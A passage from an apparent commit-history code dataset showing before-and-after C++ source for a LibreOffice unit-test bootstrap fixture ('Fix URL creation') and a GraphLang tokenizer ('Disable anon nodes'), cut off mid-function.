m_aWorkdirRootPath = OUString::createFromAscii( pWorkdirRoot );\n m_aWorkdirRootURL += m_aWorkdirRootPath;\n\n}\n\ntest::BootstrapFixtureBase::~BootstrapFixtureBase()\n{\n}\n\nOUString test::BootstrapFixtureBase::getURLFromSrc( const char *pPath )\n{\n return m_aSrcRootURL + OUString::createFromAscii( pPath );\n}\n\nOUString test::BootstrapFixtureBase::getPathFromSrc( const char *pPath )\n{\n return m_aSrcRootPath + OUString::createFromAscii( pPath );\n}\n\nOUString test::BootstrapFixtureBase::getURLFromWorkdir( const char *pPath )\n{\n return m_aWorkdirRootURL + OUString::createFromAscii( pPath );\n}\n\nOUString test::BootstrapFixtureBase::getPathFromWorkdir( const char *pPath )\n{\n return m_aWorkdirRootPath + OUString::createFromAscii( pPath );\n\n}\n\nvoid test::BootstrapFixtureBase::setUp()\n{\n \/\/ set UserInstallation to user profile dir in test\/user-template\n rtl::Bootstrap aDefaultVars;\n OUString sUserInstallURL = m_aSolverRootURL + OUString(\"\/unittest\");\n aDefaultVars.set(OUString(\"UserInstallation\"), sUserInstallURL);\n\n m_xContext = comphelper::getProcessComponentContext();\n m_xFactory = m_xContext->getServiceManager();\n m_xSFactory = uno::Reference<lang::XMultiServiceFactory>(m_xFactory, uno::UNO_QUERY_THROW);\n}\n\nvoid test::BootstrapFixtureBase::tearDown()\n{\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>Fix URL creation<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include \"sal\/config.h\"\n\n#include <cassert>\n\n#include <unotest\/bootstrapfixturebase.hxx>\n#include <osl\/file.hxx>\n#include <rtl\/strbuf.hxx>\n#include <rtl\/bootstrap.hxx>\n#include <cppuhelper\/bootstrap.hxx>\n#include <comphelper\/processfactory.hxx>\n\n#include <com\/sun\/star\/lang\/Locale.hpp>\n#include <com\/sun\/star\/lang\/XComponent.hpp>\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n\nusing namespace ::com::sun::star;\n\nnamespace {\n\nOUString getFileURLFromSystemPath(OUString const & path) {\n OUString url;\n osl::FileBase::RC e = osl::FileBase::getFileURLFromSystemPath(path, url);\n assert(e == osl::FileBase::E_None);\n if (!url.endsWith(\"\/\")) {\n url += \"\/\";\n }\n return url;\n}\n\n}\n\n\/\/ NB. this constructor is called before any tests are run, once for each\n\/\/ test function in a rather non-intuitive way. This is why all the 'real'\n\/\/ heavy lifting is deferred until setUp. setUp and tearDown are interleaved\n\/\/ between the tests as you might expect.\ntest::BootstrapFixtureBase::BootstrapFixtureBase()\n{\n#ifndef ANDROID\n const char* pSrcRoot = getenv( \"SRC_ROOT\" );\n CPPUNIT_ASSERT_MESSAGE(\"SRC_ROOT env variable not set\", pSrcRoot != NULL && pSrcRoot[0] != 0);\n const char* pSolverRoot = getenv( \"OUTDIR_FOR_BUILD\" );\n CPPUNIT_ASSERT_MESSAGE(\"$OUTDIR_FOR_BUILD env variable not set\", pSolverRoot != NULL && pSolverRoot[0] != 0);\n const char* pWorkdirRoot = getenv( \"WORKDIR_FOR_BUILD\" );\n CPPUNIT_ASSERT_MESSAGE(\"$WORKDIR_FOR_BUILD env variable not set\", pWorkdirRoot != NULL && pWorkdirRoot[0] != 0);\n#else\n const char* pSrcRoot = \"\/assets\";\n const char* pSolverRoot = \"\/assets\";\n const char* pWorkdirRoot = \"\/assets\";\n#endif\n m_aSrcRootPath = OUString::createFromAscii( pSrcRoot );\n m_aSrcRootURL = getFileURLFromSystemPath(m_aSrcRootPath);\n\n m_aSolverRootPath = OUString::createFromAscii( pSolverRoot );\n m_aSolverRootURL = getFileURLFromSystemPath(m_aSolverRootPath);\n\n m_aWorkdirRootPath = OUString::createFromAscii( pWorkdirRoot );\n m_aWorkdirRootURL = getFileURLFromSystemPath(m_aWorkdirRootPath);\n\n}\n\ntest::BootstrapFixtureBase::~BootstrapFixtureBase()\n{\n}\n\nOUString test::BootstrapFixtureBase::getURLFromSrc( const char *pPath )\n{\n return m_aSrcRootURL + OUString::createFromAscii( pPath );\n}\n\nOUString test::BootstrapFixtureBase::getPathFromSrc( const char *pPath )\n{\n return m_aSrcRootPath + OUString::createFromAscii( pPath );\n}\n\nOUString test::BootstrapFixtureBase::getURLFromWorkdir( const char *pPath )\n{\n return m_aWorkdirRootURL + OUString::createFromAscii( pPath );\n}\n\nOUString test::BootstrapFixtureBase::getPathFromWorkdir( const char *pPath )\n{\n return m_aWorkdirRootPath + OUString::createFromAscii( pPath );\n\n}\n\nvoid test::BootstrapFixtureBase::setUp()\n{\n \/\/ set UserInstallation to user profile dir in test\/user-template\n rtl::Bootstrap aDefaultVars;\n OUString sUserInstallURL = m_aSolverRootURL + OUString(\"\/unittest\");\n aDefaultVars.set(OUString(\"UserInstallation\"), sUserInstallURL);\n\n m_xContext = comphelper::getProcessComponentContext();\n m_xFactory = m_xContext->getServiceManager();\n m_xSFactory = uno::Reference<lang::XMultiServiceFactory>(m_xFactory, uno::UNO_QUERY_THROW);\n}\n\nvoid test::BootstrapFixtureBase::tearDown()\n{\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>#include \"stdafx.h\"\n#include \"Token.h\"\n#include <cassert>\n#include <memory>\n\nusing namespace std;\nusing Checkpoint = GraphLang::Parser::Checkpoint;\n\nnamespace GraphLang\n{\nnamespace Tokenizer\n{\n\tconst TokenVisitor::RootTag TokenVisitor::Root = {};\n\n\tvoid TokenVisitor::operator()(Token& tok)\n\t{\n\t\tauto directive = visit(tok);\n\n\t\tswitch(directive)\n\t\t{\n\t\tcase Status::Stop:\n\t\t\tthrow Impl::FullStopException{};\n\t\t\treturn;\n\t\tcase Status::StopBranch:\n\t\t\treturn;\n\t\tcase Status::Continue:\n\t\t\ttok.expose_children(*this);\n\t\t}\n\t}\n\n\tvoid TokenVisitor::operator()(Token& tok, RootTag)\n\t{\n\t\ttry\n\t\t{\n\t\t\toperator()(tok);\n\t\t}\n\t\tcatch(Impl::FullStopException)\n\t\t{\n\t\t\t\/\/ that's fine :)\n\t\t}\n\n\t\treturn; \/\/ end of input\n\t}\n\n\tToken::Token()\n\t{\n\t}\n\n\tTokenParseResult Token::Parse(Parser& p)\n\t{\n\t\tassert(false);\n\t\treturn TokenParseResult{ false, \"CANT TRY TO PARSE A RAW (TOKEN)!!!!!\" };\n\t}\n\n\tToken::~Token()\n\t{\n\t}\n\n\tToken::PrintablePosition Token::pos() const\n\t{\n\t\treturn PrintablePosition(startpos, endpos);\n\t}\n\n\tTokenParseResult Identifier::Parse(Parser& input)\n\t{\n\t\tauto& in = input.i();\n\t\tParser::Checkpoint ch(input, this);\n\n\t\tbool digitsOk = false;\n\n\t\tchar c = in.peek();\n\t\twhile(\n\t\t\tc == '_' \n\t\t\t|| ('a' <= c && c <= 'z') \n\t\t\t|| ('A' <= c && c <= 'Z') \n\t\t\t|| (digitsOk && '0' <= c && c <= '9')\n\t\t\t)\n\t\t{\n\t\t\tdigitsOk = true;\n\t\t\tid += in.get();\n\t\t\tc = in.peek();\n\t\t}\n\n\t\tif (id.size() > 0)\n\t\t{\n\t\t\tch.commit();\n\t\t\treturn TokenParseResult{true, \"\"};\n\t\t}\n\n\t\treturn TokenParseResult{false, \"Couldn't match an ID.\"};\n\t}\n\n\n\tTokenParseResult Number::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\n\t\tbool makeNegative = false;\n\n\t\tif (p.i().peek() == '-')\n\t\t{\n\t\t\tp.i().get();\n\t\t\tmakeNegative = true;\n\t\t\tp.readws();\n\t\t}\n\n\n\t\tchar firstChar = p.i().peek();\n\t\tif ('0' <= firstChar && firstChar <= '9')\n\t\t{\n\t\t\tp.i() >> num;\n\t\t\tif (makeNegative)\n\t\t\t{\n\t\t\t\tnum *= -1;\n\t\t\t}\n\n\t\t\tch.commit();\n\n\t\t\treturn make_tuple(true, \"\");\n\t\t}\n\n\t\treturn make_tuple(false, \"Can't interpret as begining of number: \"+firstChar);\n\t}\n\n\tTokenParseResult String::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\t\tval = \"\";\n\t\tauto& i = p.i();\n\n\t\tchar buf;\n\n\t\ti >> buf;\n\t\tif (buf != '\"')\n\t\t{\n\t\t\treturn TokenParseResult{false, \"Expected '\\\"' to open string.\"};\n\t\t}\n\n\t\twhile (i.peek() != '\"')\n\t\t{\n\t\t\ti >> buf;\n\n\t\t\tif (buf == '\\\\')\n\t\t\t{\n\t\t\t\ti >> buf;\n\n\t\t\t\tswitch (buf)\n\t\t\t\t{\n\t\t\t\tcase '\\\\': val += '\\\\'; break;\n\t\t\t\tcase 'n': val += '\\n'; break;\n\t\t\t\tcase 't': val += '\\t'; break;\n\t\t\t\tcase 'r': val += '\\r'; break;\n\t\t\t\tcase '\"' : val += '\"'; break;\n\t\t\t\tdefault:\n\t\t\t\t\t\/\/ This is such a dumb idea!\n\t\t\t\t\tthrow string(\"Woah! Unknown escape sequence in string: \\\\\"+buf);\n\t\t\t\t\n\t\t\t\t}\n\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tval += buf;\n\t\t}\n\n\t\ti >> buf;\n\t\tif (buf != '\"')\n\t\t{\n\t\t\treturn TokenParseResult{ false, \"Expected '\\\"' to close! string.\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn TokenParseResult{true, \"\"};\n\t}\n\n\tTokenParseResult Attribute::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\n\t\tif (!get<0>(p.require(id)))\n\t\t{\n\t\t\treturn make_tuple(false, \"Couldn't match ID in AttributeKV-Pair\");\n\t\t}\n\n\t\tif (!p.matchLiteral(\":\"))\n\t\t{\n\t\t\treturn make_tuple(false, \"Couldn't match colon in AttributeKV-Pair\");\n\t\t}\n\n\t\tauto r = p.require(val);\n\n\t\tif (!get<0>(r))\n\t\t{\n\t\t\treturn make_tuple(false, \"Couldn't match val: (\" + get<1>(r) + \") in AttributeKV-Pair\");\n\t\t}\n\n\t\tch.commit();\n\n\t\treturn make_tuple(true, \"\");\n\t}\n\n\tvoid Attribute::expose_children(TokenVisitor& vis)\n\t{\n\t\tvis(id);\n\t\tvis(val);\n\t}\n\n\tTokenParseResult LiteralValue::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\n\t\t\/\/ std::move({ make_unique<Number>(), make_unique<String>() })\n\t\t\/\/vector<unique_ptr<Token>> tokens;\n\n\t\t\/\/auto r = p.requireOneOf(std::move(tokens));\n\t\t\n\t\tauto r = p.oneOf<Number, String>();\n\t\tauto nodeptr = std::move(get<0>(r));\n\n\n\t\tif (nodeptr == nullptr)\n\t\t{\n\t\t\treturn TokenParseResult{false, \"Could not match a literal-value token!\"};\n\t\t}\n\n\t\tch.commit();\n\t\tval = std::move(nodeptr);\n\n\n\t\treturn std::get<1>(r);\n\t}\n\n\tLiteralValue::LiteralValue(const LiteralValue& other)\n\t{\n\t\tval = nullptr;\n\n\t\tif (other.val != nullptr)\n\t\t{\n\t\t\tval = unique_ptr<Token>(other.val->clone());\n\t\t}\n\t}\n\n\tvoid LiteralValue::expose_children(TokenVisitor& v)\n\t{\n\t\tv(*val.get());\n\t}\n\n\tNodeValue LiteralValue::toNodeValue() const\n\t{\n\t\tif (String* strptr = dynamic_cast<String*>(val.get()))\n\t\t{\n\t\t\treturn NodeValue(make_unique<std::string>(strptr->val));\n\t\t}\n\n\t\tif (Number* numptr = dynamic_cast<Number*>(val.get()))\n\t\t{\n\t\t\treturn NodeValue(numptr->num);\n\t\t}\n\n\t\treturn NodeValue{};\n\t}\n\n\tTokenParseResult Node::Parse(Parser& p)\n\t{\n\t\t\/\/ (hunter name:\"Hunter\" age:20)\n\t\tCheckpoint ch(p, this);\n\n\t\tTokenParseResult r;\n\n\t\tif (!p.matchLiteral(\"(\"))\n\t\t{\n\t\t\treturn TokenParseResult{ false, \"Nodes need to open with a left-paren.\" };\n\t\t}\n\n\t\tif (p.matchLiteral(\"?\"))\n\t\t{\n\t\t\t\/\/ anonymous node!!\n\t\t\tidentifier = Identifier();\n\t\t\tidentifier.id = \"\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ named node\n\t\t\tr = p.require(identifier);\n\t\t\tif (!get<0>(r))\n\t\t\t{\n\t\t\t\treturn TokenParseResult{ false, \"Couldn't locate an identifier for the node\"};\n\t\t\t}\n\t\t}\n\n\t\twhile (true)\n\t\t{\n\t\t\tAttribute attr;\n\t\t\tr = p.require(attr);\n\n\t\t\tif (! get<0>(r))\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tattributes.push_back(make_unique<Attribute>(attr));\n\t\t}\n\n\t\tif (!p.matchLiteral(\")\"))\n\t\t{\n\t\t\treturn TokenParseResult{ false, \"Expected node to close with right-paren.\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn TokenParseResult{ true, \"\"};\n\t}\n\n\tNode::Node()\n\t{\n\t}\n\n\tNode::Node(const Node& other)\n\t{\n\t\tattributes.reserve(other.attributes.size());\n\n\t\tfor (auto& p: other.attributes)\n\t\t{\n\t\t\tattributes.push_back(unique_ptr<Attribute>(static_cast<Attribute*>(p->clone())));\n\t\t}\n\t}\n\n\tvoid Node::expose_children(TokenVisitor& vis)\n\t{\n\t\tvis(identifier);\n\t\tfor (auto& attr: attributes)\n\t\t{\n\t\t\tvis(*attr.get());\n\t\t}\n\t}\n\n\t::std::ostream& operator<<(::std::ostream& os, const Token::PrintablePosition& pos)\n\t{\n\t\tos << \"(\" << pos.b << \", \" << pos.e << \")\";\n\t\treturn os;\n\t}\n\n\n\tTokenParseResult NodeArray::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\t\tif (!p.matchLiteral(\"[\"))\n\t\t{\n\t\t\t\/\/ Single node\n\t\t\tNode node;\n\t\t\tauto r = p.require(node);\n\n\t\t\tif (!get<0>(r))\n\t\t\t{\n\t\t\t\treturn TokenParseResult{ false,\n\t\t\t\t\t\"Node-Array expected a single node in lieu of bracketed-array, but got (\" + get<1>(r) + \").\"\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tnodes.push_back(node);\n\n\t\t\tch.commit();\n\t\t\treturn TokenParseResult{ true, \"\" };\n\t\t}\n\n\t\tif (p.matchLiteral(\"]\"))\n\t\t{\n\t\t\t\/\/ empty vec of nodes\n\t\t\tch.commit();\n\t\t\treturn TokenParseResult{ true, \"Empty NodeArray\" };\n\t\t}\n\n\t\tNode primaryNode;\n\t\tauto r = p.require(primaryNode);\n\t\tif (!get<0>(r))\n\t\t{\n\t\t\treturn TokenParseResult{false, \"NodeArray expects non-empty NodeArray internals to start with a Node.\"};\n\t\t}\n\n\t\tnodes.push_back(primaryNode);\n\n\t\twhile(p.matchLiteral(\",\"))\n\t\t{\n\t\t\tNode extraNode;\n\t\t\tauto xnr = p.require(extraNode);\n\n\t\t\tif (!get<0>(xnr))\n\t\t\t{\n\t\t\t\treturn TokenParseResult{ false, \"NodeArray expects node to follow comma, but got: \" + get<1>(xnr) };\n\t\t\t}\n\n\t\t\tnodes.push_back(extraNode);\n\t\t}\n\n\t\t\/\/ before consume ]\n\n\t\tif (!p.matchLiteral(\"]\"))\n\t\t{\n\t\t\treturn{false, \"Couldn't match closing ] to NodeArray\"};\n\t\t}\n\n\t\tch.commit();\n\n\t\treturn{ true, \"\" };\n\t}\n\n\tvoid NodeArray::expose_children(TokenVisitor& vis)\n\t{\n\t\tfor (auto& node : nodes)\n\t\t{\n\t\t\tvis(node);\n\t\t}\n\t}\n\n\tTokenParseResult Relation::Parse(Parser& p)\n\t{\n\t\t\/\/ <-id- left relation\n\t\t\/\/ -id-> right relation\n\t\t\/\/ <-id-> both relation\n\t\t\/\/ -id- wtf is this???\n\n\t\tCheckpoint ch(p, this);\n\n\t\tif (p.matchLiteral(\"<-\"))\n\t\t{\n\t\t\tdirection.set(Direction::Left);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ at least need a - on the left\n\t\t\tif (!p.matchLiteral(\"-\"))\n\t\t\t{\n\t\t\t\treturn TokenParseResult{false, \"Relation expected left to have either a <- or a -\"};\n\t\t\t}\n\t\t}\n\n\t\tauto r = p.require(relationName);\n\t\tif (!get<0>(r))\n\t\t{\n\t\t\treturn TokenParseResult{\n\t\t\t\tfalse, \n\t\t\t\t\"Relation expects there to be an identifier, but: \" + get<1>(r)\n\t\t\t};\n\t\t}\n\n\t\tif (p.matchLiteral(\"->\"))\n\t\t{\n\t\t\tdirection.set(Direction::Right);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ at least need a - on the right\n\t\t\tif (!p.matchLiteral(\"-\"))\n\t\t\t{\n\t\t\t\treturn TokenParseResult{ false, \"Relation expected right to have either a -> or a -\" };\n\t\t\t}\n\t\t}\n\n\t\tif (!direction.is(Direction::Left) && !direction.is(Direction::Right))\n\t\t{\n\t\t\treturn TokenParseResult{ false, \"Relation must be either left, right, or both!\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn TokenParseResult{true, \"\"};\n\t}\n\n\tvoid Relation::expose_children(TokenVisitor& vis)\n\t{\n\t\tvis(relationName);\n\t}\n\n\tstd::string Relation::Direction::pretty() const\n\t{\n\t\tswitch (field)\n\t\t{\n\t\tcase 0x0:\t\t\t\t\t\treturn \"NONE?\";\n\t\tcase Dir::Left:\t\t\t\t\treturn \"LEFT\";\n\t\tcase Dir::Right:\t\t\t\treturn \"RIGHT\";\n\t\tcase Dir::Left | Dir::Right:\treturn \"LEFT-RIGHT\";\n\t\tdefault:\n\t\t\tassert(0);\n\t\t\treturn \"UNKNOWN!!!\";\n\t\t}\n\t}\n\n\tTokenParseResult RelationStatement::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\t\tNodeArray firstNode;\n\n\t\tauto r = p.require(firstNode);\n\n\t\tif (!get<0>(r))\n\t\t{\n\t\t\treturn{false, \"RelationStatement expects a nodearray but failed b\/c: \" + get<1>(r)};\n\t\t}\n\n\t\tnodeSets.push_back(std::move(firstNode));\n\n\t\tbool atLeast1 = false;\n\n\t\twhile(true)\n\t\t{\n\t\t\tRelation rel;\n\n\t\t\tauto rrel = p.require(rel);\n\n\t\t\tif (!get<0>(rrel))\n\t\t\t{\n\t\t\t\t\/\/ no next relation\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tNodeArray arr;\n\t\t\tauto rarr = p.require(arr);\n\n\t\t\tif (!get<0>(rarr))\n\t\t\t{\n\t\t\t\t\/\/ should be a fatal error really\n\t\t\t\treturn {false, \"RelationStatement: expected NodeArray to follow relation, but got: \" + get<1>(rarr)};\n\t\t\t}\n\n\t\t\trelations.emplace_back(std::move(rel));\n\t\t\tnodeSets.emplace_back(std::move(arr));\n\n\t\t\tatLeast1 = true;\n\t\t}\n\n\t\tif (!atLeast1)\n\t\t{\n\t\t\treturn{false, \"RelationStatement: Expected at least a single relation between nodes.\"};\n\t\t}\n\n\t\tif (!p.matchLiteral(\";\"))\n\t\t{\n\t\t\treturn{ false, \"RelationStatement expects to end with ';' and didn't.\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn {true, \"\"};\n\t}\n\n\tvoid RelationStatement::expose_children(TokenVisitor& vis)\n\t{\n\t\tfor (auto& node : nodeSets) vis(node);\n\t\tfor (auto& relation : relations) vis(relation);\n\t}\n\n\tTokenParseResult SingleNodeStatement::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\n\t\tif (!get<0>(p.require(node)))\n\t\t{\n\t\t\treturn{ false, \"SingleNodeStatement requires a single node!\" };\n\t\t}\n\n\t\tif (!p.matchLiteral(\";\"))\n\t\t{\n\t\t\treturn{ false, \"SingleNodeStatement expects a node to be followed by ';'\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn{ true, \"\" };\n\t}\n\n\tvoid SingleNodeStatement::expose_children(TokenVisitor& vis)\n\t{\n\t\tvis(node);\n\t}\n\n\tTokenParseResult NodeArrayDeclarationStatement::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\n\t\tif (!get<0>(p.require(nodearr)))\n\t\t{\n\t\t\treturn{ false, \"NodeArrayDeclarationStatement requires a node array!\" };\n\t\t}\n\n\t\tif (!p.matchLiteral(\";\"))\n\t\t{\n\t\t\treturn{ false, \"NodeArrayDeclarationStatement expects a nodearray to be followed by ';'\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn{ true, \"\" };\n\t}\n\n\tvoid NodeArrayDeclarationStatement::expose_children(TokenVisitor& vis)\n\t{\n\t\tvis(nodearr);\n\t}\n}; \/\/ \/namespace Tokenizer\n}; \/\/ \/namespace GraphLang\n\n<commit_msg>Disable anon nodes<commit_after>#include \"stdafx.h\"\n#include \"Token.h\"\n#include <cassert>\n#include <memory>\n\nusing namespace std;\nusing Checkpoint = GraphLang::Parser::Checkpoint;\n\nnamespace GraphLang\n{\nnamespace Tokenizer\n{\n\tconst TokenVisitor::RootTag TokenVisitor::Root = {};\n\n\tvoid TokenVisitor::operator()(Token& tok)\n\t{\n\t\tauto directive = visit(tok);\n\n\t\tswitch(directive)\n\t\t{\n\t\tcase Status::Stop:\n\t\t\tthrow Impl::FullStopException{};\n\t\t\treturn;\n\t\tcase Status::StopBranch:\n\t\t\treturn;\n\t\tcase Status::Continue:\n\t\t\ttok.expose_children(*this);\n\t\t}\n\t}\n\n\tvoid TokenVisitor::operator()(Token& tok, RootTag)\n\t{\n\t\ttry\n\t\t{\n\t\t\toperator()(tok);\n\t\t}\n\t\tcatch(Impl::FullStopException)\n\t\t{\n\t\t\t\/\/ that's fine :)\n\t\t}\n\n\t\treturn; \/\/ end of input\n\t}\n\n\tToken::Token()\n\t{\n\t}\n\n\tTokenParseResult Token::Parse(Parser& p)\n\t{\n\t\tassert(false);\n\t\treturn TokenParseResult{ false, \"CANT TRY TO PARSE A RAW (TOKEN)!!!!!\" };\n\t}\n\n\tToken::~Token()\n\t{\n\t}\n\n\tToken::PrintablePosition Token::pos() const\n\t{\n\t\treturn PrintablePosition(startpos, endpos);\n\t}\n\n\tTokenParseResult Identifier::Parse(Parser& input)\n\t{\n\t\tauto& in = input.i();\n\t\tParser::Checkpoint ch(input, this);\n\n\t\tbool digitsOk = false;\n\n\t\tchar c = in.peek();\n\t\twhile(\n\t\t\tc == '_' \n\t\t\t|| ('a' <= c && c <= 'z') \n\t\t\t|| ('A' <= c && c <= 'Z') \n\t\t\t|| (digitsOk && '0' <= c && c <= '9')\n\t\t\t)\n\t\t{\n\t\t\tdigitsOk = true;\n\t\t\tid += in.get();\n\t\t\tc = in.peek();\n\t\t}\n\n\t\tif (id.size() > 0)\n\t\t{\n\t\t\tch.commit();\n\t\t\treturn TokenParseResult{true, \"\"};\n\t\t}\n\n\t\treturn TokenParseResult{false, \"Couldn't match an ID.\"};\n\t}\n\n\n\tTokenParseResult Number::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\n\t\tbool makeNegative = false;\n\n\t\tif (p.i().peek() == '-')\n\t\t{\n\t\t\tp.i().get();\n\t\t\tmakeNegative = true;\n\t\t\tp.readws();\n\t\t}\n\n\n\t\tchar firstChar = p.i().peek();\n\t\tif ('0' <= firstChar && firstChar <= '9')\n\t\t{\n\t\t\tp.i() >> num;\n\t\t\tif (makeNegative)\n\t\t\t{\n\t\t\t\tnum *= -1;\n\t\t\t}\n\n\t\t\tch.commit();\n\n\t\t\treturn make_tuple(true, \"\");\n\t\t}\n\n\t\treturn make_tuple(false, \"Can't interpret as begining of number: \"+firstChar);\n\t}\n\n\tTokenParseResult String::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\t\tval = \"\";\n\t\tauto& i = p.i();\n\n\t\tchar buf;\n\n\t\ti >> buf;\n\t\tif (buf != '\"')\n\t\t{\n\t\t\treturn TokenParseResult{false, \"Expected '\\\"' to open string.\"};\n\t\t}\n\n\t\twhile (i.peek() != '\"')\n\t\t{\n\t\t\ti >> buf;\n\n\t\t\tif (buf == '\\\\')\n\t\t\t{\n\t\t\t\ti >> buf;\n\n\t\t\t\tswitch (buf)\n\t\t\t\t{\n\t\t\t\tcase '\\\\': val += '\\\\'; break;\n\t\t\t\tcase 'n': val += '\\n'; break;\n\t\t\t\tcase 't': val += '\\t'; break;\n\t\t\t\tcase 'r': val += '\\r'; break;\n\t\t\t\tcase '\"' : val += '\"'; break;\n\t\t\t\tdefault:\n\t\t\t\t\t\/\/ This is such a dumb idea!\n\t\t\t\t\tthrow string(\"Woah! Unknown escape sequence in string: \\\\\"+buf);\n\t\t\t\t\n\t\t\t\t}\n\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tval += buf;\n\t\t}\n\n\t\ti >> buf;\n\t\tif (buf != '\"')\n\t\t{\n\t\t\treturn TokenParseResult{ false, \"Expected '\\\"' to close! string.\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn TokenParseResult{true, \"\"};\n\t}\n\n\tTokenParseResult Attribute::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\n\t\tif (!get<0>(p.require(id)))\n\t\t{\n\t\t\treturn make_tuple(false, \"Couldn't match ID in AttributeKV-Pair\");\n\t\t}\n\n\t\tif (!p.matchLiteral(\":\"))\n\t\t{\n\t\t\treturn make_tuple(false, \"Couldn't match colon in AttributeKV-Pair\");\n\t\t}\n\n\t\tauto r = p.require(val);\n\n\t\tif (!get<0>(r))\n\t\t{\n\t\t\treturn make_tuple(false, \"Couldn't match val: (\" + get<1>(r) + \") in AttributeKV-Pair\");\n\t\t}\n\n\t\tch.commit();\n\n\t\treturn make_tuple(true, \"\");\n\t}\n\n\tvoid Attribute::expose_children(TokenVisitor& vis)\n\t{\n\t\tvis(id);\n\t\tvis(val);\n\t}\n\n\tTokenParseResult LiteralValue::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\n\t\t\/\/ std::move({ make_unique<Number>(), make_unique<String>() })\n\t\t\/\/vector<unique_ptr<Token>> tokens;\n\n\t\t\/\/auto r = p.requireOneOf(std::move(tokens));\n\t\t\n\t\tauto r = p.oneOf<Number, String>();\n\t\tauto nodeptr = std::move(get<0>(r));\n\n\n\t\tif (nodeptr == nullptr)\n\t\t{\n\t\t\treturn TokenParseResult{false, \"Could not match a literal-value token!\"};\n\t\t}\n\n\t\tch.commit();\n\t\tval = std::move(nodeptr);\n\n\n\t\treturn std::get<1>(r);\n\t}\n\n\tLiteralValue::LiteralValue(const LiteralValue& other)\n\t{\n\t\tval = nullptr;\n\n\t\tif (other.val != nullptr)\n\t\t{\n\t\t\tval = unique_ptr<Token>(other.val->clone());\n\t\t}\n\t}\n\n\tvoid LiteralValue::expose_children(TokenVisitor& v)\n\t{\n\t\tv(*val.get());\n\t}\n\n\tNodeValue LiteralValue::toNodeValue() const\n\t{\n\t\tif (String* strptr = dynamic_cast<String*>(val.get()))\n\t\t{\n\t\t\treturn NodeValue(make_unique<std::string>(strptr->val));\n\t\t}\n\n\t\tif (Number* numptr = dynamic_cast<Number*>(val.get()))\n\t\t{\n\t\t\treturn NodeValue(numptr->num);\n\t\t}\n\n\t\treturn NodeValue{};\n\t}\n\n\tTokenParseResult Node::Parse(Parser& p)\n\t{\n\t\t\/\/ (hunter name:\"Hunter\" age:20)\n\t\tCheckpoint ch(p, this);\n\n\t\tTokenParseResult r;\n\n\t\tif (!p.matchLiteral(\"(\"))\n\t\t{\n\t\t\treturn TokenParseResult{ false, \"Nodes need to open with a left-paren.\" };\n\t\t}\n\n\t\t\/\/ TODO(Hunter): enable anonymous node support\n\t\tif (false && p.matchLiteral(\"?\"))\n\t\t{\n\t\t\t\/\/ anonymous node!!\n\t\t\tidentifier = Identifier();\n\t\t\tidentifier.id = \"\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ named node\n\t\t\tr = p.require(identifier);\n\t\t\tif (!get<0>(r))\n\t\t\t{\n\t\t\t\treturn TokenParseResult{ false, \"Couldn't locate an identifier for the node\"};\n\t\t\t}\n\t\t}\n\n\t\twhile (true)\n\t\t{\n\t\t\tAttribute attr;\n\t\t\tr = p.require(attr);\n\n\t\t\tif (! get<0>(r))\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tattributes.push_back(make_unique<Attribute>(attr));\n\t\t}\n\n\t\tif (!p.matchLiteral(\")\"))\n\t\t{\n\t\t\treturn TokenParseResult{ false, \"Expected node to close with right-paren.\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn TokenParseResult{ true, \"\"};\n\t}\n\n\tNode::Node()\n\t{\n\t}\n\n\tNode::Node(const Node& other)\n\t{\n\t\tattributes.reserve(other.attributes.size());\n\n\t\tfor (auto& p: other.attributes)\n\t\t{\n\t\t\tattributes.push_back(unique_ptr<Attribute>(static_cast<Attribute*>(p->clone())));\n\t\t}\n\t}\n\n\tvoid Node::expose_children(TokenVisitor& vis)\n\t{\n\t\tvis(identifier);\n\t\tfor (auto& attr: attributes)\n\t\t{\n\t\t\tvis(*attr.get());\n\t\t}\n\t}\n\n\t::std::ostream& operator<<(::std::ostream& os, const Token::PrintablePosition& pos)\n\t{\n\t\tos << \"(\" << pos.b << \", \" << pos.e << \")\";\n\t\treturn os;\n\t}\n\n\n\tTokenParseResult NodeArray::Parse(Parser& 